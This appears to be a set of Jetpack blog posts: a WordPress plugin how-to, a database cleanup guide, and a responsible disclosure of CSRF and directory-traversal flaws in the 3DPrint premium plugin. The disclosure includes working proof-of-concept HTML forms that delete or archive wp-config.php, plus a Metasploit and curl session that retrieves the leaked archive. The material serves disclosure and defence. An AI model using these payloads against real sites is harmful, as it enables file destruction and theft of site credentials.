    Using a WordPress security plugin like Jetpack Protect also helps ensure that your plugins are safe by automatically scanning your installed plugins each day for any known malware or security vulnerabilities. 

    Learn more: How to Choose the Best WordPress Plugins

    How to install and activate a plugin on WordPress

    There are four main ways to add a plugin on WordPress:

    1. Add a plugin through the WordPress admin dashboard

    One of the quickest and easiest ways to install a plugin on WordPress is from within your site’s admin dashboard.  

    First, click on Add New under Plugins in the dashboard. Or, click on Add new at the top of the Plugins screen.

    You can then search for and install a plugin or upload a plugin that you’ve downloaded to your computer. Let’s look at both options.

    How to find and install a plugin from the WordPress plugin directory.

    You can use the search box on the Add Plugins screen to find the perfect tool for your WordPress website. 

    list of plugins when searching for "Jetpack" in the WordPress dashboard

    To add the plugin to your WordPress site, click on the Install Now button next to the plugin’s name. 

    Install Now button next to the Jetpack plugin

    The Install button will then change to show the text “Installing.” Once the plugin is installed, click on Activate to ‘turn on’ the plugin.

    After you’ve activated the tool, you might see a setup wizard that walks you through initial settings. For example, Jetpack looks like this after installation:

    setup wizard for Jetpack plugin

    How to upload a plugin to your WordPress website

    You can also use your WordPress admin panel to upload plugins that you’ve downloaded from the WordPress plugin directory or directly from a developer.

    First, click on Upload Plugin. Then click on Choose file and select the .zip file that contains the plugin you want to upload. 

    uploading a plugin in the WordPress dashboard

    Next, click on Install Now to upload and install the plugin to your WordPress site. 

    Once the installation is complete, you can activate it by clicking on Activate Plugin.

    activate plugin button highlighted when the plugin is being installed

    2. Add a plugin using an FTP client

    You can also use an FTP client to add a plugin to WordPress.

    You’ll need to download the plugin to your computer. You can do this by downloading the plugin directly from the developer or by finding a plugin in the WordPress directory and clicking on Download.

    download options for Jetpack

    Next, unzip the folder. Then, connect to your WordPress website using an FTP client such as FileZilla.

    Next, navigate to your site’s /public/wp-content/plugins directory and upload the plugin’s folder. 

    To activate the plugin, login to your WordPress admin dashboard and click on Plugins.

    You’ll see the plugin you just uploaded within the list of plugins installed on your website. Click on Activate to begin using its features. 

    3. Add a plugin using your cPanel

    You can also add a plugin to WordPress by using your hosting provider’s cPanel. 

    Log in to cPanel. Then navigate to the Files section and click on File Manager.

    File Manager option in cPanel

    Select the root directory for your WordPress website and click on the wp-content folder.

    wp-content folder highlights in cPanel

    Click on the plugins folder.

    Choose Upload and select the .zip file that contains the plugin you want to add to your site. 

    Upload button highlighted in cPanel

    Once the plugin is uploaded, reload your plugins directory, right-click on the .zip file you just uploaded, and select Extract → Extract Files.

    extracting a plugin in cPanel

    Reload your ‘plugins’ folder and check that you can see a folder with the same name as the plugin you just uploaded.

    Jetpack plugin circled in file manager

    To begin using the plugin, you need to activate it by logging in to your WordPress admin dashboard and clicking on Plugins → Installed Plugins.

    Find the plugin you just uploaded within the list and click Activate.

    4. Add a plugin using WP-CLI

    You can also install a WordPress plugin using the WordPress Command Line Interface (WP-CLI). To do this, you need to know the plugin’s name in the WordPress plugin directory. You can find this by looking at the URL of the plugin’s page — for example, the Jetpack Boost plugin is called jetpack-boost

    jetpack-boost URL end

    To install a plugin, open your terminal and enter:

    wp plugin install [plugin name]

    For example, to install Jetpack Boost, you would enter:

    wp plugin install jetpack-boost 

    You can then activate the plugin by entering:

    wp plugin activate [plugin name]

    How to access and customize a plugin’s settings

    To begin using a plugin on your WordPress site, you need to install and activate it. Most plugins then add a menu item to your WordPress admin menu or within the Settings, Tools, or Appearance menu of your WordPress dashboard. This allows you to access the plugin and customize its settings. 

    You can usually find instructions on how to access and customize the plugin on its page in the WordPress plugin directory or within the plugin’s documentation. 

    For example, you can follow these steps to keep your site one step ahead of security threats and malware with the Jetpack Protect plugin: 

    1. Click on Add New at the top of your WordPress admin dashboard’s Plugins page.
    2. Enter ‘Jetpack Protect’ into the search bar. 
    3. Find the Jetpack Protect listing and click Install Now.
    4. Once the plugin has been installed, click on Activate.
    activating the Jetpack Protect plugin
    1. Jetpack Protect makes setup easy by automatically showing you the configuration screen after it’s been activated.

    Select whether you want to use Jetpack Protect for free or enhance your site security with backups and additional real-time malware scanning by upgrading to Jetpack Security. 

    plan options for Jetpack Protect
    1. That’s it! Your site is now protected against malware. Jetpack Protect automatically starts your first security scan and takes you to the scan results page. 
    scanning a WordPress site for malware
    1. You can access Jetpack Protect anytime and see your latest scan results by selecting Jetpack → Protect from your WordPress dashboard. 

    How to update a WordPress plugin 

    Most WordPress developers regularly update their plugins to add new features, fix bugs, and ensure the tool works with the latest version of WordPress. These updates often address newly-discovered vulnerabilities or security issues, so it’s essential that you help keep your site secure by always using the most up-to-date version.

    The best way to do this is by enabling automatic plugin updates. To do this, load the Plugins screen in the WordPress dashboard. 

    You can click on Enable auto-updates next to each plugin.

    option to enable auto-updates for WordPress plugins

    Or, you can select multiple plugins by clicking the checkbox next to each name and then selecting Enable Auto-Updates from the Bulk Actions drop-down menu. 

    enabling auto-updates for plugins in bulk

    You can manually update plugins by clicking on Updates on the WordPress admin dashboard menu. The number displayed in the orange circle next to “Updates” shows how many of your plugins and themes have new versions available. 

    Select the plugins you wish to update and click on Update Plugins.

    list of plugins with updates available

    Alternatively, you can update plugins from the WordPress dashboard Plugins page, which you can access by clicking on Plugins.

    Any plugin that needs updating will display a yellow bar, and you can click on Update now.

    notice that a plugin has an update available

    You can also bulk update plugins from the Plugins page by selecting the plugins you wish to update and clicking Update from the Bulk actions dropdown.

    How to deactivate and uninstall a WordPress plugin

    Sometimes it’s necessary to stop using a plugin that you’ve installed on your WordPress site. For example, you may no longer want the features the plugin offers, or you might need to deactivate plugins to troubleshoot WordPress errors

    To deactivate a plugin, head to the Plugins page in your WordPress dashboard. Then, select Deactivate underneath the plugin you want to turn off.

    deactivating a plugin in WordPress

    You can also deactivate plugins in bulk by selecting the plugins and selecting Deactivate from the Bulk actions dropdown. 

    The files for deactivated plugins remain on your server, and you can reactivate the plugin at any time by finding it on the Plugins page and clicking Activate underneath its name. 

    If you don’t intend to use the plugin again, you should uninstall it from your website by deleting it. Here’s how to do this:

    After deactivating the plugin, reload the Plugins page in your WordPress dashboard and click Delete underneath the plugin’s name. You can also use the Bulk actions dropdown to delete multiple plugins at once. 

    Five essential plugins every WordPress site should install

    1. A security plugin like Jetpack Protect

    You can keep your site secure by installing a plugin such as Jetpack Protect. 

    Jetpack Protect is a free security and malware scanner that’s easy to use. It will help you stay one step ahead of risks by automatically scanning your site each day. The plugin will then let you know if it finds any vulnerabilities associated with your plugins, themes, and WordPress software, so you can take action to secure your site. 

    Jetpack Protect leverages a robust database of known malware and security vulnerabilities which contains over 25,000 entries. WordPress security experts update the data as soon as new information becomes available, meaning its daily scans can spot the latest attacks and vulnerabilities. 

    Jetpack Protect is made by Automattic, the team behind WordPress.com, so it seamlessly integrates with your WordPress site and is guaranteed to work with any future updates. You can download Jetpack Protect for free from the WordPress plugin directory and start protecting your site with one click. 

    Yoast SEO plugin hero image

    2. An SEO plugin like Yoast

    SEO plugins like Yoast SEO can help your website rank higher on search engines by analyzing your content and providing guidance on improving it in line with SEO best practices. 

    Yoast SEO is one of the most popular WordPress SEO plugins, providing many features that ensure your pages are optimized for search engines. Once you activate the plugin, its default settings automatically implement SEO best practices on your site. Yoast SEO also analyzes your posts and pages for readability and keyword usage, displaying tips to help you improve your content.  

    A free version of Yoast SEO is available in the WordPress plugin directory. A premium version, which includes advanced features and allows you to analyze each page for multiple keywords, starts at $99 a year. 

    Contact Form 7 hero image

    3. A form plugin like Contact Form 7

    You can add forms to your website using a plugin like Contact Form 7

    Contact Form 7 is a popular WordPress plugin with over five million active installations. It’s quick to install and comes with default templates you can use to help your visitors easily get in touch with you. You can also use Contact Form 7 to create your forms, which can include a wide range of fields like drop-down menus, quizzes, and file uploads, and the plugin will email you every time a visitor submits a form. 

    Contact Form 7 also integrates with Akismet to help guard your site against spam form submissions. A range of third-party add-ons is available to add additional features, such as storing form responses and helping you change the appearance of your forms. You can download and add the plugin to your website for free from within your WordPress admin dashboard or from the WordPress plugin directory.

    Akismet illustration demonstrating its functionality

    4. An anti-spam plugin like Akismet

    Anti-spam plugin, Akismet, can guard your site against spam in your comments and form submissions. Akismet keeps your WordPress comment section free of spam by automatically analyzing comments, discarding the most ‘spammy’ ones, and flagging questionable entries for you to review. 

    Akismet is one of the most popular WordPress plugins — it comes installed on every WordPress.com site and is included in many one-click WordPress installations. The plugin is made by Automattic, the team behind WordPress.com, meaning Akismet works seamlessly alongside the WordPress comment system and many other plugins, including Jetpack Comments. 

    Akismet helps block an astonishing 3,500,000 pieces of spam on average per hour, and this unbeatable spam protection is free for personal websites. Plans for business sites start at just $8.33 a month.

    Jetpack Backup homepage

    5. A backup plugin like Jetpack Backup

    A backup plugin like Jetpack Backup can help you when your website suffers a problem or goes offline by getting it up and running again in minutes. Jetpack Backup is a comprehensive backup solution built specifically for WordPress by Automattic.

    Because it utilizes real-time backups, which save every change you make, you never have to worry about losing a single thing — post update, page edit, visitor comment, or customer order.  

    In addition, Jetpack keeps your backups safe by storing them on multiple servers around the world, and you can even restore your site if it’s offline.  

    Jetpack Backup also includes a WordPress activity log that stores a complete record of everything on your site. You can select a specific time to restore your website to, and you’ll have your site back in one click. 

    With over 269 million site backups, Jetpack Backup is a proven choice for site owners. It’s available on a range of affordable plans, with 10 GB storage space, costing just $5 per month for the first year.

    Frequently asked questions

    Can WordPress work without plugins?

    Yes, WordPress can work without plugins. WordPress has all the features necessary to create a website and publish content without a plugin. But plugins add helpful functionality and features to your WordPress website and can help keep your site secure and free of spam

    Can WordPress plugins contain viruses or malware?

    WordPress plugins are generally safe, but just like any other software, malicious developers can create plugins containing viruses or malware that could harm your site. In addition, plugins may also contain vulnerabilities that allow hackers access to your site. 

    You can help protect your site against the risk of viruses and malware by:

    • Downloading plugins from reputable sources, like the WordPress plugin directory
    • Regularly scanning your site for malware by using a security plugin such as Jetpack Protect.
    • Keeping your plugins up to date.
    • Making sure you have regular backups of your site, so you can restore it to a working version if it is ever infected by a virus or malware. 

    Why do plugins need to be updated on WordPress?

    It’s essential to update your WordPress plugins to improve the security and stability of your site. Plugin updates often address security vulnerabilities, fix bugs, and make changes to improve performance and ensure they keep working with the latest version of WordPress. Updating your plugins also ensures you benefit from any new or improved features, and you should make sure you update your plugins as soon as one becomes available.

    What should you do if a plugin installation fails?

    Plugins installed using the Add new page of the Plugins section of your WordPress dashboard will normally install without any issues. However, sometimes plugin installations fail, which is more common if you manually upload a plugin to your WordPress site. To help resolve failed plugin installations, you can:

    • Make sure you download your plugins from a trusted source like the WordPress plugin directory.  
    • Make sure you’ve selected the correct file and that it’s in .zip file format. 
    • Try uploading the plugin by using FTP or cPanel.
    • Increase your WordPress memory limit.
    • If the plugin is in the WordPress plugin directory, install it directly from your WordPress dashboard. 

    What should you do if a plugin won’t activate?

    If your WordPress plugin won’t activate, you can try:

    • Eliminating any theme conflicts by switching to a default WordPress theme like Twenty Twenty-Three
    • Checking that the plugin is compatible with your version of WordPress.
    • Minimizing plugin conflicts by using tools that offer several of the features you need in one place, such as Jetpack.

    What should you do if a plugin won’t update?

    If a plugin won’t update, try to solve the issue by:

    • Checking if you have sufficient storage space on your server to update the plugin. 
    • Manually downloading an updated version of the plugin and uploading it to your WordPress dashboard. 
    • If you’re trying to update a premium plugin, checking if you hold a valid license key.
    • Checking if your WordPress installation is up to date.
    • Using a tool like cPanel file manager to make sure the plugin’s files have the correct permissions.

    How can I roll back a plugin to its previous version?

    If a plugin update causes issues with your site, you may need to temporarily revert to a previous version of a plugin. You can do this in three ways:

    1. If you’re using Jetpack Backup, head to the activity log, navigate to a time you know the plugin was functioning as expected, and select Restore. Note that any other changes you made since the iteration you restore to will be lost.
    2. Connect to your site via SFTP and add ‘-deactivated’ to the end of the plugin folder’s name. Then download a previous version of the plugin from the developer or WordPress plugin directory and manually upload and activate it.
    3. Using WP Rollback to revert any theme from the WordPress plugin directory to its previous version.

    How many WordPress plugins are there?

    There is no definitive list of every WordPress plugin, so it isn’t easy to know precisely how many plugins there are. This is because WordPress is open source, meaning any developer can create and publish plugins. But, WordPress.org hosts the largest WordPress plugin directory, which contains over 60,000 free plugins — so there’s bound to be one that adds the feature you need.

    How many plugins should I use on my site?

    The number of WordPress plugins you should use depends on what type of site you’re creating and the features and functionality you want it to have. 

    It’s good practice to ensure you only use the essential plugins you need, as each plugin you install increases the chances of:

    • Security risks from malicious code or vulnerabilities. 
    • Plugins conflicting with each other and causing your site to break.
    • Your site slowing down.

    Installing a plugin like Jetpack, which offers multiple valuable features, allows you to reduce the number of plugins you need to install and learn how to use. 

    How many plugins can be considered too many?

    There isn’t a set number of plugins that is considered too many. It depends on various factors, including the quality of the plugins, their impact on your site’s performance, and your hosting provider.

  • Vulnerabilities Found in the 3DPrint Premium Plugin

    The premium version of the WordPress plugin 3DPrint is vulnerable to Cross Site Request Forgery (CSRF) and directory traversal attacks when the file manager functionality is enabled. These vulnerabilities allow an attacker to delete or get access to arbitrary files and directories on the affected sites, including sensitive files like the site configuration files, which again could lead to a full site takeover.

    Recently, while looking over some potential false positives flagged by our experimental signatures, we discovered some code that puzzled us in the 3DPrint premium plugin.

    require_once("../../../../../../wp-load.php");
    if ( !current_user_can('administrator') ) exit;
    $p3d_settings = get_option( 'p3d_settings' );
    
    global $wpdb;
    
    set_time_limit(0);
    ini_set( 'memory_limit', '-1' );
    

    This snippet was found in the Tiny File Manager PHP module located within the include directory of the plugin, but is not found in the original Tiny File Manager project. It seems to be injected with the intention to integrate it with the WordPress role-based access controls. 

    Loading WordPress code files like this in an unrelated module is usually a sign that something is a bit off, so we decided to investigate further.

    The observant reader will notice that access to the module is limited to users with the Administrator role, but there are no nonce checks. That would be ok if Tiny File Manager had its own CSRF protection, but as this was not the case, it looks like this code may be susceptible to a CSRF attack. (Tiny File Manager has since added CSRF protection after we made them aware of the issue. Version 2.5.0 and later should be a lot safer to use!)

    A complicating factor is that Tiny File Manager is not included in the package when installing 3DPrint premium but is downloaded on demand when activated. The version downloaded at the time of writing is version 2.4.4, but it has been heavily modified by the 3DPrint developers, and is downloaded from their domain, not directly from the Tiny File Manager repositories.

    Most of the changes made remove functionality not used by the plugin, as well as a few other changes, like hard-coding the path, limiting what the file manager should be able to access. In addition, the authentication and authorization features built into Tiny File Manager have been disabled and replaced by the above integration with the WordPress role system.

    We have discovered a couple of vulnerabilities where the combination of the modified access controls and inclusion of the Tiny File Manager in the 3DPrint plugin becomes exploitable to an outside attacker. This includes deleting or downloading sensitive files, potentially allowing for a full site takeover. These vulnerabilities exploit the lack of nonce checks in the modified access controls, along with directory traversal vulnerabilities in Tiny File Manager itself.

    We have tried to contact the vendor of both the 3DPrint plugin and the Tiny File Manager project. Of these, only the developers of the Tiny File Manager project have responded to us and fixed the issues we submitted to them.

    Check out our new WAF as part of Jetpack Scan, which will protect against these attacks out of the box. It’s currently in beta. Jetpack Scan will also detect the vulnerable component, and help with removing it.

    As the Tiny File Manager module is downloaded and installed on demand, there’s not necessarily a correspondence between the plugin version and the version of Tiny File Manager being used. However, once installed, there does not seem to be an easy way to update the Tiny File Manager module apart from manually deleting it and activating it again.

    For this reason, we consider all versions of 3DPrint to be vulnerable to the below vulnerabilities if the file manager has been activated.

    The vulnerabilities

    1. CSRF leading to arbitrary file/directory deletion

    The mass delete functionality in the included version of Tiny File Manager (version 2.4.4) is not properly protected against directory traversal and also lacks CSRF protections. This allows an attacker to trick an admin into deleting multiple files or even directories on the server recursively. 

    // Mass deleting
    if (isset($_POST['group'], $_POST['delete']) && !FM_READONLY) {
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
    //        $path .= '/' . FM_PATH;
        }
    
        $errors = 0;
        $files = $_POST['file'];
        if (is_array($files) && count($files)) {
            foreach ($files as $f) {
                if ($f != '') {
                    $new_path = $path . '/' . $f;
                    if (!fm_rdelete($new_path)) {
                        $errors++;
                    }
                }
            }
            if ($errors == 0) {
                fm_set_msg('Selected files and folder deleted');
            } else {
                fm_set_msg('Error while deleting items', 'error');
            }
        } else {
            fm_set_msg('Nothing selected', 'alert');
        }
    
        fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
    }
    

    This can be exploited by passing the group and delete POST parameters to any value, and passing an array of files/directories to delete in the file parameter. The variable $new_path is a simple concatenation of the FM_ROOT_PATH and the passed in filename, passed to the recursive delete function fm_rdelete(). As fm_rdelete() does not do any validation of the pathnames it’s given, this makes this code vulnerable to a directory traversal attack.

    Here’s an example proof of concept: 

    <form action="https://example.com/wp-content/plugins/3dprint/includes/ext/tinyfilemanager/tinyfilemanager.php" method="POST">
        <input type="hidden" name="group" value="1">
        <input type="hidden" name="delete" value="1">
        <input type="hidden" name="file[1]" value="../2020">
        <input type="hidden" name="file[2]" value="../../../wp-config.php">
        <input type="submit" value="Get rich!">
    </form>
    

    All paths are relative to the wp-content/uploads/p3d/ directory on the server. When any logged-in admin clicks the button to get rich, their uploads from 2020 will be deleted along with the sites wp-config.php file. 

    2. CSRF leading to arbitrary downloads

    The functionality in the included version of Tiny File Manager (version 2.4.4) to download a zip or tar archive of selected files is not protected against directory traversal and lacks CSRF protections. This allows an attacker to trick an admin into creating a zip or tar archive with arbitrary files and directories from the site, including configuration files or other sensitive content.

    The archive is placed in the normal 3DPring upload directory, wp-content/uploads/p3d/. The file name is only partially controllable by the attacker but is predictable enough that it should be relatively easy to brute force. If they know at what time the forged request was sent it should also be trivial to make an educated guess.

    // Pack files
    if (isset($_POST['group']) && (isset($_POST['zip']) || isset($_POST['tar'])) && !FM_READONLY) {
        $path = FM_ROOT_PATH;
        $ext = 'zip';
        if (FM_PATH != '') {
    //        $path .= '/' . FM_PATH;
        }
    
        //set pack type
        $ext = isset($_POST['tar']) ? 'tar' : 'zip';
    
        $files = $_POST['file'];
        if (!empty($files)) {
            chdir($path);
    
            if (count($files) == 1) {
                $one_file = reset($files);
                $one_file = basename($one_file);
                $zipname = $one_file . '_' . date('ymd_His') . '.'.$ext;
            } else {
                $zipname = 'archive_' . date('ymd_His') . '.'.$ext;
            }
    
            if($ext == 'zip') {
                $zipper = new FM_Zipper();
                $res = $zipper->create($zipname, $files);
            } elseif ($ext == 'tar') {
                $tar = new FM_Zipper_Tar();
                $res = $tar->create($zipname, $files);
            }
    

    By sending a post request with the group and either the zip or tar variables set to any value will create an archive with the files specified in the file parameter. The current date and time will be appended to the file name for the archive, which will have the same base name as the file archived, or “archive” if several files are archived together. The archive will be created in the 3DPrint upload directory, but the path names of the files are not sanitized, and can contain paths outside this directory, making it vulnerable to directory traversal attacks.

    To exploit this vulnerability, we created a simple payload module for Metasploit that serves as a self-submitting form with the malicious payload to the vulnerable site. The proof of concept payload sent was:

    <!DOCTYPE html>
    <html>
      <body>
        <form action="https://3dprint-test.ddev.site/wp-content/plugins/3dprint/includes/ext/tinyfilemanager/tinyfilemanager.php" method="POST">
          <input type="hidden" name="group" value="1">
          <input type="hidden" name="zip" value="1">
          <input type="hidden" name="file[1]" value="../2022">
          <input type="hidden" name="file[2]" value="../../../wp-config.php">
        </form>
        <script>document.forms[0].submit()</script>
      </body>
    </html>
    

    As the Metasploit module would record the timestamp of when the form was sent, that made it easy to guess the correct filename for the archive created.

    % msfconsole                                                                                
                                                      
    msf6 > use payload/html/html_reverse_http
    msf6 payload(html/html_reverse_http) > set LHOST localhost
    LHOST => localhost
    msf6 payload(html/html_reverse_http) > set LURI /
    LURI => /
    msf6 payload(html/html_reverse_http) > set PAYLOADFILE ../poc/poc-csrf-archive.html
    PAYLOADFILE => ../poc/poc-csrf-archive.html
    msf6 payload(html/html_reverse_http) > to_handler
    [*] Payload Handler Started as Job 0
    [*] Started HTTP reverse handler on http://[::1]:8080/
    [*] http://localhost:8080/ handling request from ::1; (UUID: rhexpfwi) Request processed at 2022-12-10T11:06:49+01:00
    
    msf6 payload(html/html_reverse_http) > exit
    
    % curl -I 'https://3dprint-test.ddev.site/wp-content/uploads/p3d/archive_221210_100649.zip'
    HTTP/2 200 
    server: nginx/1.20.1
    date: Sat, 10 Dec 2022 10:07:35 GMT
    content-type: application/zip
    content-length: 87225
    last-modified: Sat, 10 Dec 2022 10:06:49 GMT
    etag: "63945a39-154b9"
    accept-ranges: bytes
    
    
    % curl -O 'https://3dprint-test.ddev.site/wp-content/uploads/p3d/archive_221210_100649.zip'
      % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                     Dload  Upload   Total   Spent    Left  Speed
    100 87225  100 87225    0     0  2322k      0 --:--:-- --:--:-- --:--:-- 2366k
    
    % unzip -v archive_221210_100649.zip 
    Archive:  archive_221210_100649.zip
     Length   Method    Size  Cmpr    Date    Time   CRC-32   Name
    --------  ------  ------- ---- ---------- ----- --------  ----
           0  Stored        0   0% 2022-12-10 10:06 00000000  ../2022/
           0  Stored        0   0% 2022-12-10 10:06 00000000  ../2022/12/
       85888  Defl:X    85655   0% 2022-12-10 10:05 724f1f67  ../2022/12/funny-cat.jpg
        1955  Defl:X     1114  43% 2022-11-01 23:25 96f2088a  ../../../wp-config.php
    --------          -------  ---                            -------
       87843            86769   1%                            4 files
    

    Notice how we can deduce the filename of the generated archive from the timestamp of the request. In this case, the server container is running one timezone behind the local timezone.

    Recommendations

    As the version of the file manager installed is independent of the version of the plugin installed, we cannot recommend a fixed version of the plugin. 

    Neither have we found an easy way to update the file manager module if a new version is released at a later date.

    For this reason, we consider all versions of the 3DPrint premium plugin vulnerable if the file manager component is enabled.

    Our recommendation is to make sure the file manager module is disabled, and that the file is removed from the site.

    The easiest way is to delete the file wp-content/plugins/3dprint/includes/ext/tinyfilemanager/tinyfilemanager.php if it exists.

    Conclusions

    All versions of the 3DPrint premium plugin are vulnerable to CSRF and directory traversal attacks if the file manager module is enabled on the site. This does not affect the free version of the plugin downloaded from the WordPress.org plugin repository.

    At Jetpack, we work hard to make sure your websites are protected from these types of vulnerabilities. We recommend that you have a security plan for your site that includes malicious file scanning and backups. The Jetpack Security bundle is one great WordPress security option to ensure your site and visitors are safe. This product includes real-time malware scanning, site backups, comment and form spam protection from Akismet, brute force attack protection, and more.

    Credits

    Research by Harald Eilertsen, with feedback and corrections provided by Benedict Singer, Rob Pugh, Jen Swisher and the Jetpack Scan team.

    Timeline

    • 2022-09-08: We were made aware of the finding and started investigating
    • 2022-10-25: Contacted vendor first time
    • 2022-11-01: Vendor contacted second time through a different channel
    • 2022-11-08: Mass delete vulnerability disclosed (CVE-2022-3899)
    • 2022-11-15: Contacted developers of Tiny File Manager about lack of CSRF protection, and directory traversal vulnerabilities.
    • 2022-11-19: Tiny File Manager 2.5.0 released, fixing CSRF issues but not the directory traversal problems.
    • 2022-12-13: Public disclosure
  • How to Clean Up and Optimize Your WordPress Database

    Your WordPress database contains all of your site’s essential content, including comments, posts, pages, and revisions. But this database can get bloated over time, slowing down your website and harming its loading times. This can frustrate your visitors and make the WordPress admin dashboard slower to use. 

    Fortunately, there are a couple of ways to clean up your database. You can automate the process using a WordPress database optimization plugin like WP-Optimize. Alternatively, if you’re more experienced, you could use phpMyAdmin to have complete control over the process. 

    In this post, we’ll explain how to clean up and optimize your WordPress database to boost your site’s performance. Then, we’ll wrap up with some frequently asked questions. Let’s get started!

    Backing up your website before a WordPress database cleanup

    Before you start cleaning and optimizing your WordPress database, it’s crucial to make a complete backup of your website. Your database contains lots of essential information, and accidentally deleting any of it could break your site. Therefore, having a full backup in place is an important safeguard.

    The easiest way to back up your site is with a WordPress backup plugin. Jetpack VaultPress Backup creates copies of your website files and database in real time and saves them off-site to reduce the load on your server.

    Jetpack Backup homepage

    Jetpack VaultPress Backup automates the backup process, and you can easily restore an old version of your site with just one click.

    How to clean up your WordPress database 

    There are a couple of ways to perform a WordPress database cleanup. You can either install a plugin or opt for the manual approach. In this tutorial, we’ll walk you through each method. 

    Option 1: Clean your database with a WordPress plugin

    Using a database optimization plugin could be the best approach if you’re a beginner and don’t feel comfortable working with phpMyAdmin. But your chosen plugin might restrict what you can clean. Additionally, installing too many WordPress plugins could slow down your site.

    If you opt for this method, there are many tools to choose from. Some popular database optimization plugins include WP-Optimize and Advanced Database Cleaner. Let’s take a look at how you can approach this task using WP-Optimize.

    Step 1: Delete data with WP-Optimize

    For this tutorial, we’ll be working with WP-Optimize, since it’s a comprehensive solution that includes site caching, image compression, and database cleaning tools. It’s also free (with some premium options).

    WP-Optimize hero image with orange vehicles and the tagline, "Make your site fast & efficient"

    Once you’ve installed and activated the plugin, head to WP-Optimize → Database in your WordPress dashboard. Under the Optimizations heading, you’ll be able to select which parts of the database you wish to clean:

    optimization choices in WP-Optimize

    WP-Optimize can delete the following data:

    • Post revisions
    • Auto-draft posts
    • Trashed posts
    • Spam and trashed comments
    • Unapproved comments
    • Transient options (temporary copies of your data)
    • Pingbacks and trackbacks
    • Post and comment metadata
    • Orphaned relationship data

    It can also optimize database tables to remove unnecessary data. 

    Select Run optimization next to the relevant action. Alternatively, tick the box next to all the optimizations you want to run and click Run all selected optimizations at the top of the page.

    Note that some of the actions have exclamation marks next to them. These indicate that the database optimization is higher risk and could potentially corrupt your data:

    optimization choices with exclamation points to the left of each one

    Again, creating a website backup first with Jetpack VaultPress Backup is highly recommended. That way, if the plugin corrupts the data, you can simply revert to an earlier site version. 

    Step 2: Set up automatic database optimizations

    Additionally, you can delete specific tables from your WordPress database. Open the Tables tab and click Remove next to the lines you’d like to delete.

    selecting database tables to remove

    Under Settings, you can schedule automatic database optimizations and choose which data will be deleted during this process.

    settings for automatic database optimization

    The Settings menu also lets you select how many weeks of data and post revisions to keep saved for your website. When you’re happy with your selections, click on Save settings at the bottom of the page. 

    Option 2: Clean your WordPress database with phpMyAdmin

    Alternatively, you can manually clean your WordPress database with phpMyAdmin. This method is a little more complex because you’ll need to use cPanel in your hosting provider’s dashboard, but it gives you complete control over the process. Note that the instructions below may be different based on your specific hosting provider.

    Log into your hosting account, then open cPanel → phpMyAdmin and click on Databases:

    databases tab in phpMyAdmin

    Select your database from the menu that appears. You should now see a list of all the tables within your WordPress database.

    list of all database tables

    Choose the tables you want to clean. Alternatively, you could scroll to the bottom of the page and tick the Check all box. Then, click on Optimize table under Table maintenance:

    Optimize table option in phpMyAdmin

    Wait a couple of seconds for the database optimization to complete. You should then see a success message. 

    How to optimize your WordPress database

    You might be wondering if there are any steps you can take to prevent your database from becoming bloated in the first place. Let’s look at a few handy tips.

    1. Reduce the number of saved revisions

    By default, WordPress saves revisions of your posts and pages. This feature lets you review different versions of your content and revert to an older copy.

    two WordPress revisions side by side

    Unfortunately, saving too many revisions can bloat your WordPress database. You likely don’t need more than a few revisions for your website, so you might want to limit the number that WordPress will save.

    You can do this by adding a small code snippet to your wp-config.php file. You can find this file by connecting to your site via a File Transfer Protocol (FTP) client. Again, before taking these steps, make sure you have a full backup of your site on hand.

    Open wp-config.php and add this code to the file:

    define( 'WP_POST_REVISIONS', X );

    Replace “X” with the number of post revisions you’d like WordPress to save (e.g., “2”). You can also disable post revisions entirely, but this isn’t wise since you might need to refer to a revision in the future. 

    2. Prevent spam comments

    Spam comments can be very harmful to your site. They can contain malicious links, make your website look unprofessional, and also take up space in your WordPress database.

    WordPress will delete spam comments after 30 days. But if you have a high-traffic website, you might receive hundreds or thousands of comments in that period. 

    It’s worth using an anti-spam plugin to filter harmful comments automatically. Jetpack Anti-Spam can remove spam from your comments and forms without any manual work on your end.

    homepage hero image for Jetpack Anti-Spam with the tagline, "Stop comment and form spam."

    You can also delete any existing spam comments from your database using a plugin like WP-Optimize.

    Alternatively, you could do this manually through phpMyAdmin. Open your WordPress database through your hosting account (as shown earlier in the article). Then, click on the Comments option from the left menu:

    Comments table in phpMyAdmin

    Now, open SQL and enter the following command to delete all spam comments:

    DELETE FROM wp_comments WHERE comment_approved = 'spam';

    Note that if your comments table has a different name, you’ll want to enter that instead of “wp_comments.” Click on OK to finalize the action. Now, spam comments will be removed from the database. 

    3. Regularly empty your WordPress trash

    The WordPress trash folder contains all deleted files on your site, including posts, pages, media files, and comments. By default, WordPress will empty its trash after 30 days. 

    If you’re deleting a lot of content, you might want to increase this frequency. You can do this by editing your wp-config.php file

    Open the file via FTP and then add this code snippet:

    define( 'EMPTY_TRASH_DAYS', 5 ); // 5 days

    In this example, the trash will empty after five days. You might instead enter a different number that better suits your website’s needs. 

    4. Delete unused plugins and themes

    Plugins and themes take up space in your database. You might simply deactivate these tools if you don’t want to use them in the short term. If you don’t think you’ll need plugins and themes again, it’s better to delete them entirely. 

    Deleting unused plugins and themes is also practical from a security standpoint. A malicious user could use deactivated files to inject malware into your website. 

    To delete unused plugins, head to Plugins → Installed Plugins. Then, click Delete under any plugins you’d like to remove. Note that you’ll need to Deactivate the plugin first if it’s still active.

    option to delete a WordPress plugin

    You can repeat the process for WordPress themes under Appearance → Themes

    Some WordPress plugins and themes will automatically delete their data from your site when you uninstall them. Unfortunately, others will leave data inside your database, bloating it. So, you’ll need to manually remove them using phpMyAdmin.

    Open up your database in phpMyAdmin and click on the Search bar. Here, type in the name of the plugin you’ve just deleted to find any orphaned tables (data left behind) within your database.

    If you find any tables, click on Delete to remove them from your database.

    Keep in mind that this method could delete essential data if you’re not confident about what you’re doing. Again, it’s recommended to create a website backup before deleting any content from your database. 

    Running a database optimization plugin might also help you identify leftover data from deleted plugins. You can use WP-Optimize, as shown earlier in this post.

    5. Disable pingbacks and trackbacks

    Pingbacks and trackbacks are automated notifications that tell you when other websites link to your content (and vice versa). They show up in the Comments section of your WordPress dashboard.

    Unfortunately, pingbacks and trackbacks take up space in your WordPress database. Spammers can also use them to draw your attention to their websites and content. You may even receive pingbacks when you use internal links in your blog posts, which can be annoying. 

    It’s easy to disable pingbacks and trackbacks. Head to Settings → Discussion in your WordPress dashboard. Then, uncheck the boxes next to Attempt to notify any blogs linked to from the post and Allow link notifications from other blogs (pingbacks and trackbacks) on new posts.

    option to disable pingbacks and trackbacks

